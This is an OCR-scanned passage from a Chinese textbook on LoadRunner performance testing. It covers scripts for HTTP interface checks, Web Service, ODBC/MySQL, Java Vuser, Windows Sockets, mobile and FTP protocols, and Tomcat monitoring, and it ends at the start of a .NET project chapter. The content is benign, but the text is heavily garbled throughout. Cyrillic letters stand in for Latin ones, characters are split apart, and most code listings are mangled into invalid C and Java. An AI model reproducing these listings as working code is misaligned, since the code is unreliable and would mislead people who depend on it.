strcat (t result, "«/td»") ; 

// 写 入 是 否 通过 

strcat (t result. "<td>”); 

strcat (t result, is pass); 

strcat (t result, "«/td»«/tr»") ; 


fputs (t result, file) ; 
return 0; 


最 后 不 要 忘记 处 理 一 些 关 闭 和 清理 工作 ， 在 vuser end 中 完成 ， 如 代码 清单 7-6 所 示 。 


代码 清单 7-6 接口 功能 自动 化 (3) 


vuser end О 


{ 
/ / Ж 
strcpy (t result, "«/table»«/html»") ; 
fputs (t result, file) ; 
// 关 闭 文件 
fclose (file) ; 
return 0; 


这 样 就 完成 了 全 部 代码 的 编写 。 对 于 一 般 的 HTTP 接 口 的 功能 测试 ， 可 以 使 用 此 框架 完成 ， 只 需要 根据 实际 接口 需求 稍 加 改造 即 可 。 当 然 它 也 有 局 限 性 ， 毕 竟 它 不 是 专门 的 接口 功能 测试 工具 ， 贵 在 思维 
的 体现 。 


7.2” 音 用 协议 脚本 开 友 实战 


虽然 在 实际 工作 中 ， 小 白 会 遇 到 各 种 类 型 的 产品 ， 但 他 也 发 现 很 多 东西 只 是 “外 表 ” 不 一 样 轻 了 ，“ 内 在 ”都 是 大 同 小 异 ， 所 以 总 结 几 个 常见 的 协议 脚本 进行 学 习 是 很 必要 的 。 此 处 并 没有 讲解 Web 协 
议 ， 因 为 之 前 的 实战 都 是 基于 Web 协 议 讲 解 的 。 


7.2.1 Web Service 协 议 脚本 开发 实战 


Web Service 是 一 个 独立 的 、 低 耦合 的 、 自 包含 的 、 基 于 可 编程 的 Web 的 应 用 程序 ， 可 使 用 开放 的 XML 标 准 来 描述 、 发 布 、 发 现 、 协 调和 配置 这 些 应 用 程序 ， 用 于 开发 分 布 式 的 互 操作 的 应 用 程序 。 
Web Services 主 要 使 用 以 下 两 种 技术 。 

1) XML: XML 是 在 Web 上 传送 结构 化 数据 的 方式 ，Web Service 要 以 一 种 可 靠 的 自动 的 方式 操作 数据 ，HTML 不 会 满足 要 求 ， 而 XML 可 以 使 Web Service 十 分 方便 地 处 理 数据 。 

2) SOAP: SOAP 使 用 XML 消息 调用 远程 方法 ， 这 样 Web Service 可 以 通过 HTTP 的 POST 和 GET 方 法 与 远程 机 器 交互 ， 而 且 SOAP 更 加 健壮 和 灵活 易 用 。 


看 完 这 些小 白 糊 里 糊涂 ， 其 实 我 们 不 需要 纠结 于 这 些 文字 ， 只 要 明日 各 应 用 程序 通过 网 络 协议 和 规定 的 一 些 标准 数据 格式 (HTTP. XML, SOAP) 来 访问 Web Service， 通 过 Web service 内 部 执行 得 
到 所 需 结果 就 足 矣 ， 再 说 直 白 点 我 们 就 理解 为 它 也 是 一 种 接口 。 


这 里 以 判断 QQ 号 状态 是 否 在 线 的 Web service 为 例 进 行 实战 ， 接 口 的 具体 描述 与 含义 请 参考 如 下 的 地 址 。 
http://webservice.webxml.com.cn/webservices/qqOnlineWebService.asmx?op- qqCheckOnline 
Web service 协 议 脚本 编写 的 一 般 步 骤 如 下 。 

1) 打开 LoadRunner 选 择 Web service 协议 。 


2) 选择 下 载 好 的 WSDL。 单 击 Manage Services 一 Import， 出 现 如 图 7-1 所 示 界 面 ， 选 择 好 File 后 ， 单 击 Import 按 钮 导入 。 


: Ele Edit View Inset Vuser Atin === 
| Manage Services 


^! globals.h 
Select WSDL from: 


C URL C UDDI C Quality Center 


Е:\1г scripts demo scripts 'qqOnlineWebService. asme. wadi 


图 7-1 ”选择 WSDL 
3) 填写 输入 参数 。 单 击 Add Service Call 一 Input Arguments， 并 在 Value 处 输入 你 的 QQ 号 ， 如 图 7-2 所 示 。 


4) 填写 输出 参数 。 单 击 Output Arguments 按 钮 ， 并 勾 选 Save returned value in para 选 项 ， 如 图 7-3 所 示 。 


Select Web Service Сай 


Service: | qaünlineW'ebService >| Operation: | аСһескОпіпе M 


“т qqCheckÜnline 

ч Transport Layer Configuration 
с-не Custom SOAP Header 

B т? Input Arguments 

| L mH s dia a 


LEE] qaCheckO nline esult 


5) 完成 上 面 的 步骤 后 ， 代 码 可 以 自动 生成 ， 如 代码 清单 7-7 所 示 。 


代码 清单 7-7 Web Service 


Г Override Address 


ÍaaCode 


Туре: 


[^ Include argument in 


S F = 
Sub Include Exclude 


(+ Value: [2083503238] [нес] 


zenerate auto-value for this 


图 7-2 ”填写 输入 参数 


| qqCheckÜünlineResult 
| string 


Iype: 


[M Save returned value in para 


-arameter. |e qgCheckünlineResult 


图 7-3 ”填写 输出 参数 


Action () 
{ 


web service call ( "StepName-qqCheckOnline 101" 
“SOA DME hod ccn Trewebservi ce] aqa en be oe 
"ResponseParam-response", 
"Service-qqonlineWebService", 
"ExpectedResponse-SoapResult", 
"Snapshot-t1396965687.inf", 
BEGIN ARGUMENTS 
"qqCode- 2083503238", //S A 3t 
END ARGUMENTS, 
BEGIN RESULT, 
"qqCheckOnlineResult-Param qqCheckOnlineResult", 
END RESULT, E 


// 打 印 取得 的 结 SES 


// 输 出 结果 


lr output message (lr eval string ("Query result- (Param qqCheckOnlineResult]") ) ; 


return 0; 


7.2.2 ”ODBC 协议 脚本 开发 实战 


LoadRunner 本 身 直接 支持 Oracle、SQL Server 数 据 库 ， 这 两 个 数据 库 直 接 选 择 相 应 的 协议 就 可 以 录制 脚本 。 如 果 是 MySQL 数 据 库 ， 则 可 以 利用 ODBC 协 议 来 完成 脚本 的 编写 ， 前 提 


ODBC 驱 动 。 我 们 已 经 在 2.5.2 节 中 安装 成 功 ， 这 里 不 再 阐述 。 


是 安装 MySQL 的 


ODBC 协 议 脚本 的 开发 看 似 复杂 ， 但 有 规 可 循 ， 详 见 代 码 清单 7-8， 其 中 对 每 步 都 做 了 详细 的 解释 。 


代码 清单 7-8 ”ODBC 协议 脚本 


// 以 下 脚本 均 为 手工 编写 ， 非 录制 产生 
#include “lrd.h” 

Action () 

{ 

static LRD INIT INFO InitInfo = {LRD INIT INFO ЕҮЕСАТ}; 
static LRD DF FAULT ' DB VERSION DBTypeVersion[] = 


{LRD DBTYPE ODBC, LRD DBVERSION ODBC 30}, 


(LRD DBTYPE NONE, LRD DBVERSION NONE) 


E 
static LRD CONTEXT FAR * Ctxl; 
static LRD CONNECT ON FAR * Conl; 


static LRD CURSOR FAR * Csrl; 
// 以 上 定义 的 代码 一 般 为 固定 格式 ， 请 勿 修改 


unsigned long row count=0; 


// 初 始 化 

lrd init (&InitInfo, DBTYPeVersion) ; 

// 打 开 上 下 文 

lrd open context (&Ctx1， LRD DBTYPE ODBC, 0, 0, 0); 


// 分 配 一 个 连接 结构 体 Е 
1га alloc connection (&Conl, LRD DBTYPE ODBC, Ctxl, 0, 0); 

/* 建 立 连 接 ，DRIVER 就 是 安装 的 ODBC 全 称 ，UID 代 表 MySQL 的 用 户 名 ，PWD 代 表 密 码 ，SERVER 代 表 IP，DATABASE 代 表 数 据 库 */ 
lrd open connection (&Conl, LRD DBTYPE ODBC, ““, Www, "^", 

"DRIVER-MySQL ODBC 3.51 Driver: ` Е 

UID-root; PWD=; SERVER-localhost; DATABASE-bbs", Ctxl, 1, 0); 

// 打 开 游 标 
lrd open cursor (&Csrl, Con1， 0); 

// 设 置 SQL 语句 ，1 代 表 马 上 执行 

lrd stmt (Csrl, "select * from pre common member where username like 'xiaoqiang$'", -1, 1, 0, 0); 
// 统 计 行 数 并 存放 到 row_count 中 

1га row count (Csrl, &row count, 0); 
// 运 行 后 打印 输出 3， 因 为 库 里 有 3 条 符合 条 件 的 记录 

lr output message ("row count- $d", row count) ; 
MESE SAIS 

lrd close cursor C&Csrl, 0); 

// 再 关闭 连接 

lrd close connection (&Conl, 0, 0); 

// 释 放 连 接 

lrd free connection (&Conl, 0, 0); 

// 再 关闭 上 下 文 

lrd close context (&Ctxl, 0, 0); 

return 0; 


} 


7.2.3 Java 协 议 脚 本 开发 实战 


有 时 候 会 接触 到 Java 应 用 程序 或 是 Jar 包 的 测试 ， 它 们 仍然 可 以 使 用 LoadRunner 完 成 ， 只 要 协议 选择 Java Vuser 即 可 。LoadRunner 中 的 Java APIl 都 封装 在 Irapi.lr 中 。 
在 编写 之 前 先 了 解 几 个 常用 的 函数 。 

1) int Ir.start transaction (String transaction name) ; : 事务 开始 。 

2) int Ir.end transaction (String transaction name) ; : 事务 结束 。 

3) int Ir.error message (String message) ; : 打印 错误 日 志 。 

4) int I.output message (String message) ; : 输出 日 志 。 

5) int Ir.rendezvous (String rendezvous name) ; : 设置 集合 点 。 

6) void Ir.think time (double thinkTime) ; : 设置 思考 时 间 。 

7) String Ir.eval string (String instring) ; : 用 当前 值 蔡 换 参数 。 

8) int Ir.eval int (String name) ; : 用 整 型 替换 参数 。 

9) int Ir.get vuser id () ; : 返回 当前 Vuser 的 1D。 

10) String Ir.get master host name () ; : 返回 当前 Controller 计 算 机 名 。 


11) int Ir.vuser status message (String message) ; : 向 Controller 中 发 送 Vuser 的 状态 ， 如 图 7-4 所 示 。 


统 变 


; пег [1] D] 


A E JB -— — —— z 


ad Genera > 


Ї ШЕ Status 


E Running 
E Running 
E Running 
E. Running 
E Running 
E: Running 
Ey Running 
SF Rinninn 

Ey Running 

Ey Running 
E Running 


—| —T l co | w Ci ni E ono г 


— 3 


—fizJava Vuser 协议 脚本 开发 步骤 如 下 。 


1) 下 载 安 装 JDK， 本 实战 使 用 的 是 JDK 1.5。 


2) 安装 好 后 需要 配置 环境 变量 ， 右 击 “ 我 的 电脑 ”， 


量 ” 对 话 框 中 增加 如 下 内 容 。 


JAVA HOME= 实 际 安装 的 JDK 目 录 


PATH-$JAVA НОМЕ%\р1п; $JAVA НОМЕ$\јге\ріп; 


wuser status Message 
wuser status Message 
wuser Status Message 
wuszer Status Message 
wuser Status Message 
wuser Status Message 
wuser Status Message 
WISA atis Message 
Vuset Status Message 
wuser Status Message 


wuser Status Message 


图 7-4 Vuser k & 4 8; 


在 快捷 菜单 中 选择 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 


CLASSPATH-.; $JAVA HOMESMlibNdt.jar: $JAVA HOMESMlibNtools.jar: 


“高 级 系统 设置 " 


localhost 
localhost 
localhost 
lacalhost 
localhost 


localhost 


localhost 


localhost 
localhost 


localhost 


localhost 


a ЕДЕ 


Ss» Gradual Stop 


TE nda V users]... 


Help == 


， 会 弹出 “系统 属性 ”对 话 框 ， 选 择 “环境 变 量 


”， 在 弹出 的 “ 系 


3) 完成 后 ， 在 CMD 中 输入 java-version， 如 果 可 以 看 到 Java 的 版 本 号 ， 就 成 功 了 。 


4 


М.У 


5 


М.У 


最 后 在 Actions 中 完成 脚本 的 编写 ， 如 图 7-5 所 示 。 


打开 LoadRunner 的 VuGen， 新 建 Java Vuser 协议 ， 单 击 Run-time Settings， 在 Classpath 中 把 需要 测试 的 Jar 包 添加 进来 ， 然 后 在 脚本 区 引入 。 


public class Actions 


public int init() throws Throwable | 
| return 0; 
l//end of init 


public p action() throws Throwable I 
try{ | == 

/ /new T PIS , HB 着 初始 | pa Tl XE ZF. ' 月 , H 

1, ; 

Wel 


Myday syday=ney Fyday 2014” "t 
соле ,10/1/2014 


产 调用 对 应 的 方法 处 理 打印 ， 最 终 输 出 为 
ы er ы т 


catch(Exception е) { 
е. printStackTrace(): 


Е return 0; 
}//епа of action 


public int endi) throws Throwable Í 
| return 0; 
l//end of end 


图 7-5 Java Vuser 协议 脚本 


如 果 读 者 还 想 了 解 更 多 内 容 ， 可 登录 BestTest 网 站 了 解 。 


7.2.4 Windows Sockets 协 议 脚 本 开发 实战 


在 2.3 节 中 就 提 到 过 Socket 协 议 ， 其 实 只 有 那些 基于 Socket 开 发 的 应 用 才 真 正 适 合用 Socket 协 议 。Socket 协 议 可 以 录制 ， 也 可 以 通过 手工 编写 脚本 来 完成 。 一 般 都 会 采用 手工 编写 。 小 白 又 学 习 了 
Windows Sockets 协 议 脚 本 如 何 开 发 。 


1. 录 制 Windows Sockets 协 议 脚 本 


录制 的 过 程 与 Web 协 议 并 无 太 大 差别 ， 只 是 在 录制 对 话 框 中 设置 稍 有 差异 ， 如 图 7-6 所 示 。 


Start Recording 


Application type: |Win32 Applications - 


Program to record: [D software XCRadi oVCRadi o. exe -| .. 
Program arguments : | > | 


Working directory: —|D:*softwareiCRadio -»1 .. 


Record into Action: | Ж 


Üptions... | 


录制 完成 后 的 部 分 代码 如 图 7-7 所 示 。 


图 7-6 Start Recotding 


lrs create socket("sacket0", “ТСР”, "LacalHost-0/, "RemoteHost- ШЕНЬ" LrsLastArg). 


lrs send( socket 0", "bufÜ", LrsLastárz) н 


lrs receive(" socket0", “bufl’, LrsLastárg): 


图 7-7 录制 Sockets 协 议 脚 本 


在 图 7-7 中 可 以 看 到 关键 的 3 个 国 数 。|lrs_create_socket 国 数 用 于 建立 连接 ， 需 要 在 RemoteHost 字 段 中 指明 IP 地 址 和 端口 ; Irs_send 浮 数 指定 通过 哪个 Socket 发 送 数 据 包 ;Irs_receive 函 数 指定 通过 哪个 
socket 接收 数据 包 。 发 送 和 接收 的 数据 包 都 存放 在 data.ws 中 ， 如 图 7-8 所 示 。 


2 vuser init ;WSRData 2 1 

EP Action 

E? vuser end send bufÜ 155 

Ei data. ws „СЕТ /chs/?s-9632E259DDA9 НТТР/1. 1\г\п” 

rss "Host: u2.cradio. сп\г\п” 
"Accept: text/html, */*Ж\г\п” 
с" Mozilla/3.0 (compatible: Indy Library) *r'n" 
"Ar a 


гесу bufl 718 
"HITP/1.1 200 OK\rin” 
"Server: пеіпх/1. 2. TirXn" 
"Date: Tue, 29 Арг 2014 11:39:10 СМТ\г\п“ 
"Content-Type: text/htmlXrin" 
“Content-Length: 439XrÀn" | 
^"Last-Modified: Sun, 13 Арг 2014 05:10:01 GNTXr Wn" 
"Connection: close\rn 
"Expires: Tue, 29 Арг 2014 12:39:10 GMT\r\n” 
“Cache-Control: max-age=3600\r\n 
"Accept-Ranges: Буїеѕ\г\п” 
n 
"[data] rSn" 
"url-data. т1р\г\п” 
"ver-2014-04-13 12:28:40\г\л” 
"md5-CDA6C6F110880A5AA3354FCASFFBABDAVr in^ 
"size-583002Nr*n" 
"IbinlXr*n" 


7-8 data.ws 数 据 
Qi 回放 脚本 时 ，LoadRunnet 会 对 实际 接收 到 的 数据 包 大 小 与 录制 时 记录 的 数据 包 大 小 进行 对 比 ， 如 果 不 一 致 ， 会 提示 数据 包 长 度 不 匹配 。 
2. 增 强 Windows Sockets 协 议 脚 本 
脚本 的 增强 方法 同 2.5 节 中 的 一 样 ， 唯 一 差别 是 部 分 函数 不 同 ， 具 体 函 数 用 法 可 按 F1 键 查看 帮助 文 要 。 下 面 就 以 一 个 常用 的 例子 进行 讲解 ， 详 细 注 释 见 如 下 的 代码 。 
代码 清单 7-9 ”编写 Sockets 协 议 脚本 


diinclude "lrs.h" 
Action () 


{ 
// 定 义 变量 
char *ActualBuffer; 
int rp Bytes; 
// 第 一 步 : 创建 连接 


lrs =. Socket ("socketO0", “ТСР”, ""RemoteHost-192.168.105.191: 21", LrsLastArg) ; 
// 第 二 步 : 发 送 数 据 ， pufiftdata. ws 中 

lrs send ("socket0",  "bufl", LrsLastArg) ; 

niuis um 


1 name ("bufl", &ActualBuffer,  &NumberOfBytes) ; 
Я. 

lr output message (\ 发 送 数据 的 大 小 为 $d/n", NumberOfBytes) ; 

// 第 三 步 : 接收 数据 ， о А 


lrs receive ("socket0",  "buf2", LrsLastArg) ; 

ШЕ 

lrs get er ру name ("buf2", &ActualBuffer,  &NumberOfBytes) ; 
ОТООР 


lr output message (\ 接 收 数据 的 大 小 为 $d/n”， NumberOfBytes) ; 
Е и 


lr receive r ("socket0",  &ActualBuffer,  &Number es) 
ГОИ SERRE Soon ten шуй a 

lrs save param ех ("socket0", “user”, ActualBuffer, 0, 25, “ascii”, "content") ; 
// 释 放 内 存 


rs free buffer (ActualBuffer) ; 

// 浅 意 这 里 是 <> 括 号 ， 不 是 {} 括 号 

lr output message ("截取 的 内 容 : $s", lr eval string content>”) ) ; 
// 第 四 步 : 关闭 

lrs close socket ("socket0") ; 

return 0; 


7.2.5 ”移动 应 用 协议 脚本 开发 实战 


随 着 移动 应 用 的 普及 ， 以 及 用 户 数量 的 上 升 ， 移 动 应 用 的 性 能 也 越 来 越 受到 关注 ， 但 也 存在 一 个 广泛 的 误解 ， 那 就 是 : 移动 性 能 测试 确实 与 众 不 同 吗 ” 其 实 ， 移 动 应 用 的 性 能 测试 也 是 遵循 已 在 互联 网 
使 用 中 用 于 测试 性 能 的 测试 策略 和 做 法 ， 可 能 在 细节 上 上 略 有 不 同 而 已 。 对 于 后 端 而 言 ， 不 论 是 Web， 还 是 移动 都 是 由 很 多 服务 器 支撑 组 成 的 ， 如 果 是 从 Web 侧 衍生 出 来 的 产品 ， 架 构 也 有 可 能 相同 ， 甚 至 是 
通用 的 ， 所 以 并 没有 太 大 的 区 别 ，Web 性 能 测试 方法 一 样 可 以 用 于 移动 应 用 的 性 能 测试 。 


LoadRunner 的 移动 性 能 测试 解决 方案 包括 以 下 两 个 协议 。 


1) HP Mobile TruClient: 基于 创新 的 HP TruClient 新 技术 构建 ，HP Mobile TruClient 可 帮助 直接 通过 浏览 器 记录 基于 浏览 器 的 应 用 。 这 使 得 对 基于 浏览 器 的 应 用 编写 脚本 及 测试 非常 快速 、 简 单 且 


2) HP Mobile Applications: 用 于 本 地 应 用 ， 或 使 用 HP Mobile TruClient 无 法 记录 的 任何 其 他 应 用 ， 利 用 HP Mobile Application 协 议 可 以 使 用 设备 上 的 代理 或 通过 仿真 器 构建 网 络 脚本 。 
一 般 测试 移动 应 用 性 能 的 步骤 如 下 。 

1) 下 载 HP LoadRunner Mobile Recorder， 并 在 手机 上 安装 成 功 ， 如 图 7-9 所 示 。 

2) 在 手机 端 打开 该 应 用 ， 并 单 击 Start Recording 按 钮 开始 录制 。 

3) 启动 要 录制 的 应 用 ， 然 后 进行 业务 操作 。 

4) 操作 完成 后 ， 单 击 Stop Recording 按 钮 停止 录制 ， 并 生成 脚本 。 

5) 停止 录制 后 会 看 到 生成 的 脚本 ， 后 缀 为 .rcap， 把 该 脚本 导出 到 PC 上 。 


6) 直接 使 用 LoadRunner 12 双 击 打开 就 可 以 看 到 脚本 内 容 ， 如 图 7-10 所 示 。 


b Google play 


E HP LoadRunner Mobile Recorder 
TR By 用 Hewlett Packard Development Company, L.P.- 2012€ 7 H1 
10 4 
8/5 


РАХ 


ая, 


67-9 НР LoadRunner Mobile Recorder 


Action() 


{ 


web url("swh", 
"URL-http: //hui.sohu.com/swh/", 
"Resource-1", 
"RecContentTypesapplication/octet-stream", 
"Refererz", 
"Snapshotst1.inf", 
LAST); 


web_url("actionIntercept.go", 
"URL-http: //api.k.sohu.com/api/control/actionIntercept.go?pl1-NTg20TY5MiUGNTIAMTcCzM]YGO0Q$3D€*3D&u-1&gid-82f f f f| 
"Resources1", 
"RecContentTypezapplication/]json", 
"Refererz", 
"Snapshotw»t2.inf", 
LAST); 


web url("adgtr", 
"URLshttp://s.go.sohu.com/adgtr/?debugloc-11561108000&adsrc-l&itemspaceid-12224&apt-1&adId-1&adp type-1&adps- 
"ResourceszQ", 
"RecContentTypeztext/html", 
"Referer", 


"Snapshotst3.inf", 


generati on 


* Start Log Message ****** 
ecorder version : 12.0.1362.8 
ding Mode: HTML-based script 
ecording headers 
xcluding content types 
context between actions 
d non-HTML elements in current HTML function 
icol Type: Multi-Mobile 


图 7-10 ”录制 后 的 脚本 内 容 


Т) 之 后 的 步骤 就 和 平时 进行 性 能 测试 一 样 了 。 


7.26 手工 编写 FTP 脚 本 


在 实际 应 用 中 也 会 遇 到 关于 FTP 的 测试 ， 也 就 是 我 们 常 说 的 上 传 与 下 载 测试 。 小 白 初 次 遇 到 的 时 人 息 ， 直 接 选择 了 FTP 并 进行 脚本 录制 ， 但 可 惜 的 是 ， 脚 本 录制 完成 后 是 空 的 。 所 以 有 时 候 对 于 一 些 特殊 的 
协议 ， 我 们 要 学 会 手工 编写 脚本 。 


编写 FTP 脚 本 的 步骤 如 下 。 

1) 熟悉 LoadRunner 中 的 FTP 遂 数 。 

2) 与 FTP 服 务 器 建立 连接 。 

3) 上 传 或 下 载 文件 。 

4) 关闭 连接 。 

了 解 了 编写 步骤 后 ， 下 面 学 习 相 关 的 FTP 函 数 。 

1) ftp logon ex (FTP*ppftp, char*transaction, char*url, LAST) : 该 函数 的 功能 为 与 FTP 服 务 器 建立 连接 。 

2) ftp put ex (FTP*ppftp, char*transaction, LAST) : 该 函数 的 功能 是 指定 把 本 地 的 某 个 文件 上 传 到 服务 器 的 某 个 目录 下 。 
3) ftp get ex (FTP*ppftp, char*transaction, , LAST) : 该 函数 的 功能 是 把 服务 器 上 的 某 个 文件 下 载 到 本 地 。 
4) ftp logout ex (FTP*ppftp) : 该 函数 的 功能 是 关闭 与 FTP 服 务 器 的 连接 。 

更 详细 的 参数 解释 请 参考 官方 帮助 文档 。 学 习 完 相关 函数 后 ， 就 可 以 按照 之 前 约定 的 步骤 开始 编写 了 ， 代 码 清单 如 下 。 


代码 清单 7-10 ”FTP 脚本 


Action () 


_ 


TERNER | 
// 此 处 的 URL 后 面 是 对 应 的 格式 ， 并 没有 填写 真实 的 数据 ， 分 别 代 表 用 户 名 、 密 码 和 IP 地 址 
ftp 1 ogon ex C&ftpl, "FtpLogin", 
"URL-ftp: //username: passwordéIPAddress", 

LAST) ; 


// 下 载 文件 到 本 地 指定 目录 
ftp. x F C&ftpl, “GetFiles” 
URCE PATHE / reot/Desttest: txt”，/* 是 指 FTP 上 文件 对 应 的 目录 ， 一 定 要 指定 一 
个 确定 存在 нан 

ARGET PATH-d: /besttest.txt”，/* 下 载 的 目的 地 址 ， 这 里 要 确定 该 路 径 存 在 ， 同 时 
要 指定 文人 名/ 


BINARY“，V/x* 下 载 的 模式 ， 有 二 进 制 和 ASCII 这 2 种 方式 ， 系 统 默认 的 是 二 进 制 ， 
避免 有 时 下 载 的 文件 被 坏 */ 


ENDITEM ， 
LAST) ; 
// 关 闭 连接 
ftp logout ex (&ftpl) ; 
return 0; 


以 上 操作 完成 后 执行 脚本 ， 可 以 发 现 已 经 把 指定 的 文件 下 载 下 来 了 ， 剩 下 的 工作 就 是 根据 自己 实际 需要 强化 脚本 ， 如 加 检查 点 、 参 数 化 等 。 不 过 这 里 需要 注意 以 下 几 点 。 
1) 如 果 是 上 传 ， 一 定 要 保证 服务 器 有 足够 的 空间 ， 否 则 上 传 多 了 会 出 现 空 间 不 足 的 现象 。 


2) 可 以 对 源 文 件 名 参数 化 ， 而 目标 文件 名 则 使 用 源 文件 名 的 参数 加 上 唯一 序号 即 可 ， 这 样 方便 检查 是 否 成 功 下 载 。 


7.3 ”使 用 LoadRunner 打 点 监控 Tomcat 


小 白 和 大 部 分 人 一 样 ， 一 直觉 得 LoadRunner 只 能 完成 脚本 的 录制 和 编写 来 模拟 用 户 的 请 求 行为 ， 熟 不 知 其 实 LoadRunner 可 以 进行 自 定义 的 监控 来 监控 你 想 看 的 指标 ， 功 能 可 谓 十 分 强大 ! 想 实现 该 功 
能 非常 简单 ， 只 需要 熟悉 一 个 函数 即 可 ， 用 法 如 下 。 


函数 用 法 : 


int lr user data point (指标 名 ， 指标 值 ) ; // 记 录用 户 自 定义 的 数据 样本 


知道 了 如 何 记录 数据 样本 后 ， 接 下 来 就 要 思考 如 何 能 动态 地 捕捉 想 要 的 数据 了 。 这 时 候 关 联 的 作用 再 次 显现 。 利 用 关联 来 捕获 动态 变化 的 、 没 有 规律 的 值 。 此 处 请 读者 回顾 2.5 节 中 的 内 容 。 如 代码 清 
7-11 实 现 了 打点 监控 Tomcat。 


代码 清单 7-11 使 用 LoadRunner 打 点 监控 Tomcat 


Action () 
{ 
double atof (const char *string) ; 
web reg save param ("JVM FreeMemory", 
"LB-Free memory: "N, ni 
"RB- МВ”, 
“Ога=1”, 
LAST) ; 
web | reg save param ("JVM TotalMemory", 
'LB-Total memory: “, 
"RB- MB”, 
“Ога=1”, 
LAST) ; 
web | reg save param ("JVM MaxMemory”, 
'"LB-Max memory: “, 


“РВ= B " 
"Ord-1^, 
LAST) ; 


web | reg save param ("HTTP MaxThreads", 
'"LB-Max threads: "`, 

"RB- NN ; 

“Ога=1”, 

LAST) ; 

web | reg save | param (“НТТР | MaxProcessingTime", 
‘LB=Max processing time: “, 

"RB- ms", 

"Ord- 1 г 

LAST) ; 

web reg save param ("HTTP ProcessingTime", 
"LB-Processing time: ` 

"RB- S An ; 

“Ога=1”, 

LAST) ; 

web | reg save param ("HTTP RequestCount”, 
"LB-Request count: "`, 

"RB- NS 

"Ord-i", 

LAST) ; 

web | reg save param ("HTTP BytesReceived", 
"LB-Bytes received: “, 


“РВ= B M 
"Ord-1^, 
LAST) ; 


web set user ("admin", “123123”, "127.0.0.1: 8080") ; 
lr think time (5); 

web url ("status", 

"URL-http: //127.0.0.1: 8080/manager/status", 
Resource-0", 

RecContentType-text/html", 

"Referer-", 

Snapshot-tl.inf", 

"Mode-zHTML", 


lr user data point ("Tomcat 
atof (lr eval string ("(JVM 


JVM FreeMemory", 
| FreeMemory)") ) ) ; 

. point ("Tomcat JVM TotalMemory", 

string ("(JVM TotalMemory)") ) ) ; 
Е data point ("Tomcat JVM MaxMemory", 
atof (lr eval string ("(JVM MaxMemory]") ) ) ; 
lr user data point ("Tomcat HTTP MaxThreads", 
atof (lr eval string ("(HTTP MaxThreads)") ) ); 
lr user data point ("Tomcat HTTP | MaxProcessingTime" , 
atof (lr eval string ("(HTTP MaxProcessingTime)") ) ) ; 
lr user data point ("Tomcat HTTP ProcessingTime", 
atof (lr eval string ("(HTTP ProcessingTime]") ) ) ; 
lr user data point ("Tomcat HTTP RequestCount", 
atof (lr eval string ("(HTTP RequestCount]") ) ) ; 
lr user data point ("Tomcat HTTP BytesReceived", 
atof (lr eval string ("(HTTP BytesReceived)") ) ) ; 


C 


tz] 


dlc 


at5f (lE eval 


述 代码 在 Controller 中 的 运行 效果 如 图 7-11 所 示 。 


这 里 体现 了 一 种 监控 思想 ， 在 实际 应 用 中 可 以 根据 实际 情况 调整 


Available Graphs Xj | User Defined Data Points - whole scenario 


B. Runtime Graphs ^ | 250 
Running Vusers 
„Ше User Defined Data Points | 
jer Error Statistics 
-- Vusers with Errors 
zi pam Graphs 
Trans Response Time 
- Tians ec [Passed] 
~ Trans/Sac [Failed Stopped] 
"E Тач Trans/Sec (Passed) 00:00:00 00 00: 05 00: 00: 10 00:00:15 000020 00005 00:00:30 000035 00:00:40 00:00:45 00:00:50 
月 .Web Resource Graphs || Elapsed Time (Hour-Min:Sec) 
= se panas — — — h h k F k а 
Tomcat ЛУМ МахМетогу 247.500 247.500 247.500 0.000 247.500 
Ji ToemaWMToaMemy 23780 a 123350 шш 123750 
Tomcat http BytesSent 0000 0.000 0.000 0.000 0.000 
Tomcat http EmrCount 0.000 0.000 0.000 0.000 0.000 


图 7-11 监控 Tomcat 数 据 


74 本 章 小 结 


通过 这 几 个 实战 练习 ， 小 白 已 经 熟练 掌握 了 常用 协议 和 接口 测试 的 脚本 开发 ， 还 学 会 了 自 定 义 打点 监控 Tomcat 的 方法 ， 同 时 对 之 前 的 函数 也 进行 了 运用 与 复习 ， 学 习 成 效 渐 显 。 


在 学 习 本 章 的 时 候 ， 小 白 也 明白 了 很 多 时 候 不 是 因为 自己 笨 ， 而 是 因为 缺少 了 耐心 、 细 心 ， 遇 到 错误 的 时 候 不 淡定 ， 到 处 问 人 。 其 实 不 要 害怕 ， 尝 试 着 慢 慢 定 位 分 析 调 试 ， 同 时 总 结 经 验 步 骤 ， 这 样 对 
于 以 后 脚本 的 开发 会 有 很 大 的 帮助 。 


此 时 正在 感慨 的 小 白 突 然 收 到 了 小 黑 经 理 的 一 封 邮 件 ， 内 容 如 下 。 
小 白 : 
我 们 的 “旭日 ”项 目 已 经 开发 完毕 ， 功 能 测试 已 进入 尾声 ， 经 学 习 了 一 段 时 间 性 能 测试 了 ， 接 下 来 就 把 该 项 目 交 由 你 来 主导 完成 性 能 测试 ， 有 任何 问题 可 以 随时 来 找 我 。 


看 完 这 封 邮件 小 白 心里 既 激 动 又 志 坊 ， 看 来 学 习 的 成 果 马 上 就 要 接受 考验 了 ， 加 油 ! 


第 二 篇 “新 硬 初 试 


经 过 一 段 时 间 的 学 习 ， 小 白 已 经 掌握 了 部 分 性 能 测试 知识 与 技能 ， 是 时 候 磨炼 一 下 来 检验 成 绩 了 ! 说 来 也 巧 ， 这 时 候 收 到 经 理 的 一 封 邮 件 ， 内 容 如 下 。 


亲爱 的 小 白 : 


我 们 之 前 有 一 个 电 商 网 站 ， 主 要 是 面向 喜爱 宠物 用 户 的 ， 功 能 与 业务 不 复杂 ， 架 构 也 比较 简单 。 之 前 没有 做 过 性 能 测试 ， 近 期 项 目 组 想 进行 优化 ， 同 时 把 性 能 测试 也 加 入 其 中 ， 不 知 你 可 否 接受 该 任务 
以 作为 检验 你 学 习 成 功 的 考试 ? 


这 么 好 的 机 会 小 白 怎 能 放 过 ， 于 是 小 白 谢 然 决 然 地 接受 任务 ， 并 信心 满 满 地 开始 了 初次 的 性 能 测试 项 目 。 


第 8 草 .NET 项目 性 能 测试 全 程 实战 


本 项 目 以 某 开源 电子 商务 网 站 为 基础 ， 根 据 公 司 实际 需求 进行 二 次 开发 完成 的 ， 代 号 为 PP Shop. 


本 章 小 白 将 按照 WBS (工作 任务 分 解 ) 后 的 计划 执行 性 能 测试 。WBSs 如 图 8-1 所 示 。 


i — Shop 的 冒 烟 测 试 与 主 功能 流程 测试 ， 保 证 | a —— T 

没有 严重 Bug 
2 =; 小 白 、 小 B m ea ИШИ 
6 性 能 测试 脚本 的 编写 与 调试 
性 能 测试 的 执行 与 调 优 _ 一 
